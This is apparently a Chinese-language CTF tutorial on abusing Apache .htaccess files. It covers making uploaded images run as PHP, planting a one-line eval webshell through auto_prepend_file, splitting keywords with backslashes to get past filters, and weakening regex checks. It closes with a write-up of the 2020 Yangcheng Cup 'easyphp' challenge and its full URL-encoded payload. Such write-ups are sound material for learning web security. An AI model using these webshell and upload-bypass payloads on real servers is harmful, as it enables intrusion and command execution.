浅谈ctf中.htaccess配置文件的运用

相关的文章为:https://blog.csdn.net/solitudi/article/details/116666720

.htaccess配置文件的基本信息

首先先了解一下有关.htaccess文件是什么,是一个配置文件,用于运行Apache网络服务器软件的网络服务器上,当.htaccess文件被放置在一个 “通过Apache Web服务器加载 “的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。 简单来说就是用来修改配置的

然后补充一点就是在.htaccess配置文件中单行注释符为 #

如果想要在服务器上可以运行.htaccess文件就需要先将主配置文件的AllowOverride 设置为 All

具体的运用

通过.htaccess文件来制定出错页面

1
2
3
4
ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php

在ctf比赛题目中就有应用:

1
2
3
<If "file('/flag') =~ '/flag{a/'">  //~ 类似为正则匹对
ErrorDocument 404 "y4tacker"
</If>

如果在/flag中有flag{a 就返回y4tacker,从而来枚举出flag,比较少用

SetHandler和ForceType

常见的应用场景 文件上传,这里要严格按照缩进,可能会出现错误:

1
2
3
4
5
6
7
8
9
10
<FilesMatch "aaa.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//指定将1.jpg通过PHP运行
//或者直接全局都直接使用PHP解析
SetHandler application/x-httpd-php

<Files ~ "\.jpg$"> //~先当于正则匹对 将所有匹对到.jpg结尾的都以PHP解析
ForceType application/x-httpd-php
</Files>

AddHandler

作用就是将什么以什么方式解析,作用域是针对整个服务器或特定目录的,而不是针对单个文件的,所以不需要通过Files来进行规定

1
AddHandler php-script .jpg  //将jpg文件当作PHP脚本

AddType

是Apache服务器配置中的一个重要指令,它用于将特定的文件扩展名映射到指定的MIME类型

1
AddType application/x-httpd-php .html

这条指令告诉Apache服务器,当遇到.html扩展名的文件时,应该将它们视为application/x-httpd-php类型的文件,即PHP脚本文件,并由PHP解析器进行处理

php_value

当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以

php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag

实际的应用中就有:

1
2
3
4
5
6
7
8
9
php_value auto_prepend_file 1.txt //在主文件解析之前自动解析包含1.txt的内容
php_value auto_append_file 2.txt //在主文件解析后自动解析1.txt的内容
//最好是这样,应用#号为注释符,但是PHP可以正常解析来上传一句话木马
php_value auto_prepend_file .htaccess #<?php @eval($_POST['a']);?>

//关于过滤file: 这样也是可以执行命令的
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

还有一种用法,绕过preg_match匹对,将最大的次数改为0即可,就可以用最大回溯(pcre.backtrack_limit)/递归限制使php正则失效:

1
php_value pcre.backtrack_limit 1  //默认为100000

具体的例题

[羊城杯 2020]easyphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
$files = scandir('./');
foreach($files as $file) { //遍历目录,将不是index.php的文件都删除
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) { //通过get来提交文件名和内容
highlight_file(__FILE__);
die();
}
$content = $_GET['content']; //在文件内容里面过滤关键字
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename']; //
if(preg_match("/[^a-z\.]/", $filename) == 1) { //检查文件名是否都由字母和点组成
echo "Hacker";
die();
}
$files = scandir('./'); //再删除一次
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world"); //在后面拼接一段字符串
?>

看逻辑应该是在删除后再创建的文件,但是上传一个普通的php文件,发现上传什么都没有用,无论怎么上传,页面都只是显示Hello, world

这里就可以通过上传.htaccess来修改配置

php_value auto_prepend_file .htaccess

<?php system(‘cat /f*’);?>

但是需要有些修改,还有要将后面的\nHello, world继续拼接否则回报错

这里过滤了file 可以通过变为

php_value auto_prepend_fil\
e .htaccess

<?php system(‘cat /f*’);?>\

最后再通过url编码上传即可

最后payload为:

1
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/f*')%3B%3F%3E%5C